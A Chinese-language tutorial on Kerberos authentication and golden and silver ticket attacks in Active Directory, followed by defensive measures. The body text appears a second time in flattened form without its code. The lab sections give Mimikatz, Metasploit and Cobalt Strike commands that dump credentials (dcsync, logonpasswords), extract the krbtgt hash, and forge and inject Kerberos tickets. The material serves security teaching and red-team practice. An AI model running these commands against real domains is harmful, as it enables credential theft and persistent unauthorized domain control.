域渗透之Kerberos认证和黄金票据
字数 2184 2025-08-11 17:40:10

Kerberos认证与票据伪造技术详解

1. Kerberos认证基础

1.1 Kerberos简介

Kerberos是一种计算机网络授权协议,用于在非安全网络中对个人通信进行安全身份认证。该协议由麻省理工学院开发,已成为Windows Active Directory域服务的核心认证机制。

1.2 关键术语

  • AS (Authentication Server):认证服务器
  • KDC (Key Distribution Center):密钥分发中心
  • TGT (Ticket Granting Ticket):票据授权票据
  • TGS (Ticket Granting Server):票据授权服务器
  • ACL (Access Control Lists):访问控制列表
  • DC (Domain Controller):域控制器
  • AD (Active Directory):活动目录

1.3 Kerberos认证流程

  1. 客户端与AS交互

    • 客户端用密码哈希加密时间戳、客户端和服务端信息发送给AS
    • AS验证账号后生成随机密钥1
    • AS返回:用客户端密码哈希加密的随机密钥1 + 用krbtgt哈希加密的TGT(包含随机密钥1和时间戳)
  2. 客户端与TGS交互

    • 客户端解密获得随机密钥1
    • 客户端用随机密钥1加密时间戳等信息(信息1)与TGT一起发送给TGS
    • TGS用krbtgt哈希解密TGT获得随机密钥1,验证信息1
    • 验证通过后生成随机密钥2
    • TGS返回:用随机密钥1加密的随机密钥2 + 用服务端哈希加密的ST(包含随机密钥2和时间戳)
  3. 客户端与服务端交互

    • 客户端解密获得随机密钥2
    • 客户端用随机密钥2加密时间戳等信息(信息2)与ST一起发送给服务端
    • 服务端用自身哈希解密ST获得随机密钥2,验证信息2
    • 验证通过后建立通信

2. 黄金票据(Golden Ticket)攻击

2.1 黄金票据原理

黄金票据是伪造的TGT,利用krbtgt账户的NTLM Hash固定特性:

  • 客户端通过AS认证后获得Logon Session Key和TGT
  • Logon Session Key不保存在KDC中
  • 获取krbtgt的NTLM Hash后可以伪造TGT和Logon Session Key
  • 持有金票可跳过AS验证,不受账户密码变更影响

2.2 伪造黄金票据的条件

  1. 域名称
  2. 域的SID值
  3. 域的KRBTGT账号的HASH
  4. 伪造任意用户名

注:获取SID和KRBTGT HASH需要已有域权限

2.3 黄金票据利用场景

主要用于权限维持阶段:

  • 已获取域内所有账户Hash(包括krbtgt)
  • 丢失域管权限但仍保留普通域用户权限
  • 管理员未重置krbtgt密码
  • 可重新获得域管理员权限

2.4 实验操作

使用Mimikatz:

  1. 信息收集
privilege::debug
lsadump::dcsync /domain:redteam.club /all /csv
  1. 制作黄金票据
kerberos::golden /admin:system /domain:redteam.club /sid:S-1-5-21-2536581826-3274276096-3456299113 /krbtgt:689fe33346a9e9fe229395fb36178ecb /ticket:ticket.kirbi
  1. 导入票据
kerberos::purge
kerberos::ptt C:\Users\ticket.kirbi

使用Metasploit:

  1. 信息收集
load kiwi
creds_all
creds_kerberos
kiwi_cmd sekurlsa::logonpasswords
  1. 域管权限收集
kiwi_cmd "lsadump::dcsync /domain:redteam.club /user:krbtgt"
kerberos_ticket_list
kerberos_ticket_purge
  1. 制作并导入金票
golden_ticket_create -d redteam.club -k 689fe33346a9e9fe229395fb36178ecb -u administrator -s S-1-5-21-2536581826-3274276096-3456299113 -t /home/kali/administrator.ticket
kerberos_ticket_use /home/kali/administrator.ticket

使用CobaltStrike:

注意:CobaltStrike 4.7需在AD上才能抓取krbtgt hash

  1. 抓取hash
  2. 执行shell whoami /all
  3. 制作金票

3. 白银票据(Silver Ticket)攻击

3.1 白银票据原理

白银票据是伪造的ST(服务票据):

  • 在Kerberos认证第三步,Client带着ST和Authenticator3请求服务
  • Server用自己的Master Key解密ST获得Session Key
  • 通过Session Key解密Authenticator3验证身份
  • 知道Server用户Hash即可伪造ST,不经过KDC
  • 伪造的票据仅对特定服务有效

3.2 伪造白银票据的条件

  1. 域名
  2. 域SID(去掉最后的RID)
  3. 目标服务器的FQDN
  4. 可利用的服务
  5. 服务账号的NTLM Hash
  6. 伪造的用户名

3.3 实验操作

使用Mimikatz:

  1. 获取服务账号Hash:
privilege::debug
sekurlsa::logonpasswords
  1. 制作CIFS服务白银票据:
kerberos::golden /domain:redteam.club /sid:S-1-5-21-2536581826-3274276096-3456299113 /target:OWA2010CN-God.god.org /rc4:689fe33346a9e9fe229395fb36178ecb /service:cifs /user:admin /ptt

4. 金票与银票的区别

特性 黄金票据 白银票据
伪造对象 TGT ST
获取权限 任意Kerberos访问权限 仅指定服务访问权限
认证流程 与KDC交互,不与AS交互 不与KDC交互,直接访问Server
加密方式 使用krbtgt NTLM Hash加密 使用服务账号NTLM Hash加密
持久性 长期有效(直到krbtgt密码重置) 短期有效(通常10小时)
检测难度 较难检测 相对容易检测

5. 防御措施

  1. 保护KRBTGT账户

    • 定期更改krbtgt密码(建议每6个月)
    • 更改后立即再次更改(避免密码历史冲突)
  2. 监控与检测

    • 监控异常Kerberos请求
    • 检测异常票据请求模式
    • 实施SIEM解决方案分析认证日志
  3. 权限管理

    • 限制域管理员权限
    • 实施最小权限原则
    • 定期审计特权账户
  4. 基础设施加固

    • 启用Windows Defender ATP等高级威胁防护
    • 实施LSA保护防止凭据转储
    • 限制对域控制器的远程访问
  5. 应急响应

    • 建立票据吊销流程
    • 准备应急响应计划
    • 定期进行红队演练测试防御措施
Kerberos认证与票据伪造技术详解 1. Kerberos认证基础 1.1 Kerberos简介 Kerberos是一种计算机网络授权协议,用于在非安全网络中对个人通信进行安全身份认证。该协议由麻省理工学院开发,已成为Windows Active Directory域服务的核心认证机制。 1.2 关键术语 AS (Authentication Server) :认证服务器 KDC (Key Distribution Center) :密钥分发中心 TGT (Ticket Granting Ticket) :票据授权票据 TGS (Ticket Granting Server) :票据授权服务器 ACL (Access Control Lists) :访问控制列表 DC (Domain Controller) :域控制器 AD (Active Directory) :活动目录 1.3 Kerberos认证流程 客户端与AS交互 : 客户端用密码哈希加密时间戳、客户端和服务端信息发送给AS AS验证账号后生成随机密钥1 AS返回:用客户端密码哈希加密的随机密钥1 + 用krbtgt哈希加密的TGT(包含随机密钥1和时间戳) 客户端与TGS交互 : 客户端解密获得随机密钥1 客户端用随机密钥1加密时间戳等信息(信息1)与TGT一起发送给TGS TGS用krbtgt哈希解密TGT获得随机密钥1,验证信息1 验证通过后生成随机密钥2 TGS返回:用随机密钥1加密的随机密钥2 + 用服务端哈希加密的ST(包含随机密钥2和时间戳) 客户端与服务端交互 : 客户端解密获得随机密钥2 客户端用随机密钥2加密时间戳等信息(信息2)与ST一起发送给服务端 服务端用自身哈希解密ST获得随机密钥2,验证信息2 验证通过后建立通信 2. 黄金票据(Golden Ticket)攻击 2.1 黄金票据原理 黄金票据是伪造的TGT,利用krbtgt账户的NTLM Hash固定特性: 客户端通过AS认证后获得Logon Session Key和TGT Logon Session Key不保存在KDC中 获取krbtgt的NTLM Hash后可以伪造TGT和Logon Session Key 持有金票可跳过AS验证,不受账户密码变更影响 2.2 伪造黄金票据的条件 域名称 域的SID值 域的KRBTGT账号的HASH 伪造任意用户名 注:获取SID和KRBTGT HASH需要已有域权限 2.3 黄金票据利用场景 主要用于权限维持阶段: 已获取域内所有账户Hash(包括krbtgt) 丢失域管权限但仍保留普通域用户权限 管理员未重置krbtgt密码 可重新获得域管理员权限 2.4 实验操作 使用Mimikatz: 信息收集 : 制作黄金票据 : 导入票据 : 使用Metasploit: 信息收集 : 域管权限收集 : 制作并导入金票 : 使用CobaltStrike: 注意:CobaltStrike 4.7需在AD上才能抓取krbtgt hash 抓取hash 执行 shell whoami /all 制作金票 3. 白银票据(Silver Ticket)攻击 3.1 白银票据原理 白银票据是伪造的ST(服务票据): 在Kerberos认证第三步,Client带着ST和Authenticator3请求服务 Server用自己的Master Key解密ST获得Session Key 通过Session Key解密Authenticator3验证身份 知道Server用户Hash即可伪造ST,不经过KDC 伪造的票据仅对特定服务有效 3.2 伪造白银票据的条件 域名 域SID(去掉最后的RID) 目标服务器的FQDN 可利用的服务 服务账号的NTLM Hash 伪造的用户名 3.3 实验操作 使用Mimikatz: 获取服务账号Hash: 制作CIFS服务白银票据: 4. 金票与银票的区别 | 特性 | 黄金票据 | 白银票据 | |------|---------|---------| | 伪造对象 | TGT | ST | | 获取权限 | 任意Kerberos访问权限 | 仅指定服务访问权限 | | 认证流程 | 与KDC交互,不与AS交互 | 不与KDC交互,直接访问Server | | 加密方式 | 使用krbtgt NTLM Hash加密 | 使用服务账号NTLM Hash加密 | | 持久性 | 长期有效(直到krbtgt密码重置) | 短期有效(通常10小时) | | 检测难度 | 较难检测 | 相对容易检测 | 5. 防御措施 保护KRBTGT账户 : 定期更改krbtgt密码(建议每6个月) 更改后立即再次更改(避免密码历史冲突) 监控与检测 : 监控异常Kerberos请求 检测异常票据请求模式 实施SIEM解决方案分析认证日志 权限管理 : 限制域管理员权限 实施最小权限原则 定期审计特权账户 基础设施加固 : 启用Windows Defender ATP等高级威胁防护 实施LSA保护防止凭据转储 限制对域控制器的远程访问 应急响应 : 建立票据吊销流程 准备应急响应计划 定期进行红队演练测试防御措施